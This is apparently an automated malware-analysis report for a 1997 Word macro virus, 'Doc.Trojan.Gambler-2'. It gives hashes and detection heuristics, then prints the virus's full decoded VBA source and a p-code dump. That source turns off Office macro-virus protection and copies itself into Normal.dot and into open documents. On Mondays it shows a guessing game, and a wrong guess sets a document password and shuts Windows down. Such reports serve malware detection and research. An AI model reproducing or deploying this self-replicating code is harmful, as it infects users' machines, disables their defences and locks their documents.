Doc.Trojan.Gambler-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 27bb711ae72f7880…

MALICIOUS

Office (OLE)

72.5 KB Created: 1998-04-28 15:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 08894d84e9b3d78e88c23d627e62c525 SHA-1: 12e74d426ca32a39862a9fc72c53aea3d8af0c74 SHA-256: 27bb711ae72f78803b7da05004e47d8ad18fe269ab06131de8f619a90bb9fd89
248 Risk Score

Malware Insights

Doc.Trojan.Gambler-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macro virus markers and a VBA macro named 'Gamble' with an 'AutoOpen' subroutine. This indicates an attempt to infect the system by installing itself into the Normal.dot template, a common technique for macro-based malware. The ClamAV detection confirms its malicious nature as 'Doc.Trojan.Gambler-2'.

Heuristics 5

  • ClamAV: Doc.Trojan.Gambler-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Gambler-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18412 bytes
SHA-256: f7ecfcaa67ce24fc28f26365d6277c4790ad51e5216f9744af140279c81d6537
Detection
ClamAV: Doc.Trojan.Gambler-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "Gamble"
Sub AutoOpen()
    On Error GoTo Error
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
    Rename$ = "c:\program files\microsoft office\templates\normal.dot"
    SetAttr Rename$, vbNormal
    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False
    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate
    Documentinstalled = False
    Globalinstalled = False
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "Gamble" Then
            Documentinstalled = True
        End If
        Next
    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Gamble" Then
            Globalinstalled = True
        End If
        Next
    If Documentinstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Gamble", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="userform999", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="userform998", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
        End If
    If Globalinstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Gamble", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="userform999", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="userform998", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
        End If
Application.DisplayAlerts = wdAlertsAll

Error:
Gamble1
End Sub
Sub Gamble1()
On Error GoTo Error
Application.StatusBar = True
StatusBar = "The Gambler WMV97"
Application.Caption = "The Gambler WMV97"
With ActiveDocument
.BuiltInDocumentProperties(wdPropertyTitle) = "The Gambler"
.BuiltInDocumentProperties(wdPropertySubject) = "Word Macro Virri"
.BuiltInDocumentProperties(wdPropertyAuthor) = "Talon 1997"
.BuiltInDocumentProperties(wdPropertyManager) = "Talon 1997"
.BuiltInDocumentProperties(wdPropertyCompany) = "Virii Productions"
.BuiltInDocumentProperties(wdPropertyComments) = "This Word Macro Virus was Made By Talon"
End With
If WeekDay(Now()) = 2 Then
On Error GoTo Error
userForm998.Show
Else
End If
Error:
End Sub
Sub ToolsMacro()
On Error GoTo Error
userform999.Show
Error:
End Sub

Attribute VB_Name = "userform999"
Attribute VB_Base = "0{4BE457DF-C173-11D0-B4F9-444553540000}{4BE45781-C173-11D0-B4F9-444553540000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Initialize()
    ComboBox1.AddItem "Normal.dot(global template)"
End Sub
Private Sub CommandButton2_Click()
Unload userform999
End Sub
Private Sub CommandButton5_Click()
MsgBox "Not Enough Memory To Complete The Request", 16, "Memory Allocation Error"
Unload userform999
End Sub
Private Sub UserForm_Click()
MsgBox "Not Enough Memory To Complete The Request", 16, "Memory Allocation Error"
Unload userform999
End Sub

Attribute VB_Name = "userForm998"
Attribute VB_Base = "0{4BE45791-C173-11D0-B4F9-444553540000}{4BE45789-C173-11D0-B4F9-444553540000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Image1_Click()
MsgBox "Are You Trying To Cheat?? One More Attempt like That And it's Over", 16, "Trying To Cheat??"
End Sub
Private Sub Label2_Click()
MsgBox "Are You Trying To Cheat?? One More Attempt like That And it's Over", 16, "Trying To Cheat??"
End Sub
Private Sub Label3_Click()
MsgBox "Are You Trying To Cheat?? One More Attempt like That And it's Over", 16, "Trying To Cheat??"
End Sub
Private Sub Label4_Click()
MsgBox "Are You Trying To Cheat?? One More Attempt like That And it's Over", 16, "Trying To Cheat??"
End Sub
Private Sub UserForm_Click()
MsgBox "Are You Trying To Cheat?? One More Attempt like That And it's Over", 16, "Trying To Cheat??"
End Sub
Private Sub CommandButton1_Click()
Dim Message, Title, MyValue
Message = "Enter a value between 1 and 10"
Title = "Word Macro Virus Gambler97"
Begining:
gam$ = "Gamble"
frm1$ = "userform998"
frm2$ = "userform999"
MyValue = InputBox(Message, Title)
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(Arg1:=wdKeyControl, Arg2:=wdKeyB)).Clear
On Error Resume Next
If MyValue = "" Then GoTo Begining
If MyValue = "0" Then GoTo Begining
If MyValue = "5" Then
MsgBox "Good Guess, It's All Yours", 16, "Your A Winner"
Application.OrganizerDelete ActiveDocument, gam$, wdOrganizerObjectProjectItems
Application.OrganizerDelete ActiveDocument, frm1$, wdOrganizerObjectProjectItems
Application.OrganizerDelete ActiveDocument, frm2$, wdOrganizerObjectProjectItems
Application.OrganizerDelete NormalTemplate, gam$, wdOrganizerObjectProjectItems
Application.OrganizerDelete NormalTemplate, frm1$, wdOrganizerObjectProjectItems
Application.OrganizerDelete NormalTemplate, frm2$, wdOrganizerObjectProjectItems
ActiveDocument.Save
Unload userForm998
GoTo Done
Else
End If
ActiveDocument.Password = "Gambler"
Application.OrganizerDelete ActiveDocument, gam$, wdOrganizerObjectProjectItems
Application.OrganizerDelete ActiveDocument, frm1$, wdOrganizerObjectProjectItems
Application.OrganizerDelete ActiveDocument, frm2$, wdOrganizerObjectProjectItems
Application.OrganizerDelete NormalTemplate, gam$, wdOrganizerObjectProjectItems
Application.OrganizerDelete NormalTemplate, frm1$, wdOrganizerObjectProjectItems
Application.OrganizerDelete NormalTemplate, frm2$, wdOrganizerObjectProjectItems
ActiveDocument.Save
Tasks.ExitWindows
Done:
Tasks.ExitWindows
End Sub


' Processing file: /tmp/qstore_nzq41uks
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1388 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' Macros/VBA/Gamble - 8633 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError Error 
' Line #2:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #3:
' 	Ld wdAlertsNone 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #4:
' 	LitStr 0x0036 "c:\program files\microsoft office\templates\normal.dot"
' 	St Rename$ 
' Line #5:
' 	Ld Rename$ 
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #6:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #7:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #8:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set ActiveDoc 
' Line #9:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set GlobalDoc 
' Line #10:
' 	LitVarSpecial (False)
' 	St Documentinstalled 
' Line #11:
' 	LitVarSpecial (False)
' 	St Globalinstalled 
' Line #12:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #13:
' 	Ld I 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0006 "Gamble"
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LitVarSpecial (True)
' 	St Documentinstalled 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	StartForVariable 
' 	Next 
' Line #17:
' 	StartForVariable 
' 	Ld J 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #18:
' 	Ld J 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0006 "Gamble"
' 	Eq 
' 	IfBlock 
' Line #19:
' 	LitVarSpecial (True)
' 	St Globalinstalled 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	StartForVariable 
' 	Next 
' Line #22:
' 	Ld Documentinstalled 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #23:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0006 "Gamble"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #24:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "userform999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #25:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "userform998"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #26:
' 	Ld ActiveDoc 
' 	MemLd New 
' 	ParamNamed FileName 
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	Ld ActiveDoc 
' 	ArgsMemCall SaveAs 0x0002 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	Ld Globalinstalled 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #29:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0006 "Gamble"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #30:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "userform999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #31:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "userform998"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #32:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	Ld wdAlertsAll 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #35:
' Line #36:
' 	Label Error 
' Line #37:
' 	ArgsCall Gamble1 0x0000 
' Line #38:
' 	EndSub 
' Line #39:
' 	FuncDefn (Sub Gamble1())
' Line #40:
' 	OnError Error 
' Line #41:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt StatusBar 
' Line #42:
' 	LitStr 0x0011 "The Gambler WMV97"
' 	St StatusBar 
' Line #43:
' 	LitStr 0x0011 "The Gambler WMV97"
' 	Ld Application 
' 	MemSt Caption 
' Line #44:
' 	StartWithExpr 
' 	Ld ActiveDocument 
' 	With 
' Line #45:
' 	LitStr 0x000B "The Gambler"
' 	Ld wdPropertyTitle 
' 	ArgsMemStWith BuiltInDocumentProperties 0x0001 
' Line #46:
' 	LitStr 0x0010 "Word Macro Virri"
' 	Ld wdPropertySubject 
' 	ArgsMemStWith BuiltInDocumentProperties 0x0001 
' Line #47:
' 	LitStr 0x000A "Talon 1997"
' 	Ld wdPropertyAuthor 
' 	ArgsMemStWith BuiltInDocumentProperties 0x0001 
' Line #48:
' 	LitStr 0x000A "Talon 1997"
' 	Ld wdPropertyManager 
' 	ArgsMemStWith BuiltInDocumentProperties 0x0001 
' Line #49:
' 	LitStr 0x0011 "Virii Productions"
' 	Ld wdPropertyCompany 
' 	ArgsMemStWith BuiltInDocumentProperties 0x0001 
' Line #50:
' 	LitStr 0x0027 "This Word Macro Virus was Made By Talon"
' 	Ld wdPropertyComments 
' 	ArgsMemStWith BuiltInDocumentProperties 0x0001 
' Line #51:
' 	EndWith 
' Line #52:
' 	ArgsLd Now 0x0000 
' 	ArgsLd WeekDay 0x0001 
' 	LitDI2 0x0002 
' 	Eq 
' 	IfBlock 
' Line #53:
' 	OnError Error 
' Line #54:
' 	Ld userForm998 
' 	ArgsMemCall Show 0x0000 
' Line #55:
' 	ElseBlock 
' Line #56:
' 	EndIfBlock 
' Line #57:
' 	Label Error 
' Line #58:
' 	EndSub 
' Line #59:
' 	FuncDefn (Sub ToolsMacro())
' Line #60:
' 	OnError Error 
' Line #61:
' 	Ld userform999 
' 	ArgsMemCall Show 0x0000 
' Line #62:
' 	Label Error 
' Line #63:
' 	EndSub 
' Macros/VBA/userform999 - 4892 bytes
' Line #0:
' 	FuncDefn (Private Sub UserForm_Initialize())
' Line #1:
' 	LitStr 0x001B "Normal.dot(global template)"
' 	Ld ComboBox1 
' 	ArgsMemCall AddItem 0x0001 
' Line #2:
' 	EndSub 
' Line #3:
' 	FuncDefn (Private Sub CommandButton2_Click())
' Line #4:
' 	Ld userform999 
' 	ArgsCall Unlock 0x0001 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Private Sub CommandButton5_Click())
' Line #7:
' 	LitStr 0x0029 "Not Enough Memory To Complete The Request"
' 	LitDI2 0x0010 
' 	LitStr 0x0017 "Memory Allocation Error"
' 	ArgsCall MsgBox 0x0003 
' Line #8:
' 	Ld userform999 
' 	ArgsCall Unlock 0x0001 
' Line #9:
' 	EndSub 
' Line #10:
' 	FuncDefn (Private Sub UserForm_Click())
' Line #11:
' 	LitStr 0x0029 "Not Enough Memory To Complete The Request"
' 	LitDI2 0x0010 
' 	LitStr 0x0017 "Memory Allocation Error"
' 	ArgsCall MsgBox 0x0003 
' Line #12:
' 	Ld userform999 
' 	ArgsCall Unlock 0x0001 
' Line #13:
' 	EndSub 
' Macros/VBA/userForm998 - 5909 bytes
' Line #0:
' 	FuncDefn (Private Sub Image1_Click())
' Line #1:
' 	LitStr 0x0042 "Are You Trying To Cheat?? One More Attempt like That And it's Over"
' 	LitDI2 0x0010 
' 	LitStr 0x0011 "Trying To Cheat??"
' 	ArgsCall MsgBox 0x0003 
' Line #2:
' 	EndSub 
' Line #3:
' 	FuncDefn (Private Sub Label2_Click())
' Line #4:
' 	LitStr 0x0042 "Are You Trying To Cheat?? One More Attempt like That And it's Over"
' 	LitDI2 0x0010 
' 	LitStr 0x0011 "Trying To Cheat??"
' 	ArgsCall MsgBox 0x0003 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Private Sub Label3_Click())
' Line #7:
' 	LitStr 0x0042 "Are You Trying To Cheat?? One More Attempt like That And it's Over"
' 	LitDI2 0x0010 
' 	LitStr 0x0011 "Trying To Cheat??"
' 	ArgsCall MsgBox 0x0003 
' Line #8:
' 	EndSub 
' Line #9:
' 	FuncDefn (Private Sub Label4_Click())
' Line #10:
' 	LitStr 0x0042 "Are You Trying To Cheat?? One More Attempt like That And it's Over"
' 	LitDI2 0x0010 
' 	LitStr 0x0011 "Trying To Cheat??"
' 	ArgsCall MsgBox 0x0003 
' Line #11:
' 	EndSub 
' Line #12:
' 	FuncDefn (Private Sub UserForm_Click())
' Line #13:
' 	LitStr 0x0042 "Are You Trying To Cheat?? One More Attempt like That And it's Over"
' 	LitDI2 0x0010 
' 	LitStr 0x0011 "Trying To Cheat??"
' 	ArgsCall MsgBox 0x0003 
' Line #14:
' 	EndSub 
' Line #15:
' 	FuncDefn (Private Sub CommandButton1_Click())
' Line #16:
' 	Dim 
' 	VarDefn Message
' 	VarDefn Title
' 	VarDefn MyValue
' Line #17:
' 	LitStr 0x001E "Enter a value between 1 and 10"
' 	St Message 
' Line #18:
' 	LitStr 0x001A "Word Macro Virus Gambler97"
' 	St Title 
' Line #19:
' 	Label Begining 
' Line #20:
' 	LitStr 0x0006 "Gamble"
' 	St gam$ 
' Line #21:
' 	LitStr 0x000B "userform998"
' 	St frm1$ 
' Line #22:
' 	LitStr 0x000B "userform999"
' 	St frm2$ 
' Line #23:
' 	Ld Message 
' 	Ld Title 
' 	ArgsLd InputBox 0x0002 
' 	St MyValue 
' Line #24:
' 	Ld NormalTemplate 
' 	St CustomizationContext 
' Line #25:
' 	Ld wdKeyControl 
' 	ParamNamed Arg1 
' 	Ld wdKeyB 
' 	ParamNamed Arg2 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Clear 0x0000 
' Line #26:
' 	OnError (Resume Next) 
' Line #27:
' 	Ld MyValue 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo Begining 
' 	EndIf 
' Line #28:
' 	Ld MyValue 
' 	LitStr 0x0001 "0"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo Begining 
' 	EndIf 
' Line #29:
' 	Ld MyValue 
' 	LitStr 0x0001 "5"
' 	Eq 
' 	IfBlock 
' Line #30:
' 	LitStr 0x001A "Good Guess, It's All Yours"
' 	LitDI2 0x0010 
' 	LitStr 0x000D "Your A Winner"
' 	ArgsCall MsgBox 0x0003 
' Line #31:
' 	Ld ActiveDocument 
' 	Ld gam$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #32:
' 	Ld ActiveDocument 
' 	Ld frm1$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #33:
' 	Ld ActiveDocument 
' 	Ld frm2$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #34:
' 	Ld NormalTemplate 
' 	Ld gam$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #35:
' 	Ld NormalTemplate 
' 	Ld frm1$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #36:
' 	Ld NormalTemplate 
' 	Ld frm2$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #37:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #38:
' 	Ld userForm998 
' 	ArgsCall Unlock 0x0001 
' Line #39:
' 	GoTo Done 
' Line #40:
' 	ElseBlock 
' Line #41:
' 	EndIfBlock 
' Line #42:
' 	LitStr 0x0007 "Gambler"
' 	Ld ActiveDocument 
' 	MemSt Password 
' Line #43:
' 	Ld ActiveDocument 
' 	Ld gam$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #44:
' 	Ld ActiveDocument 
' 	Ld frm1$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #45:
' 	Ld ActiveDocument 
' 	Ld frm2$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #46:
' 	Ld NormalTemplate 
' 	Ld gam$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #47:
' 	Ld NormalTemplate 
' 	Ld frm1$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #48:
' 	Ld NormalTemplate 
' 	Ld frm2$ 
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #49:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #50:
' 	Ld Tasks 
' 	ArgsMemCall ExitWindows 0x0000 
' Line #51:
' 	Label Done 
' Line #52:
' 	Ld Tasks 
' 	ArgsMemCall ExitWindows 0x0000 
' Line #53:
' 	EndSub 
' Line #54: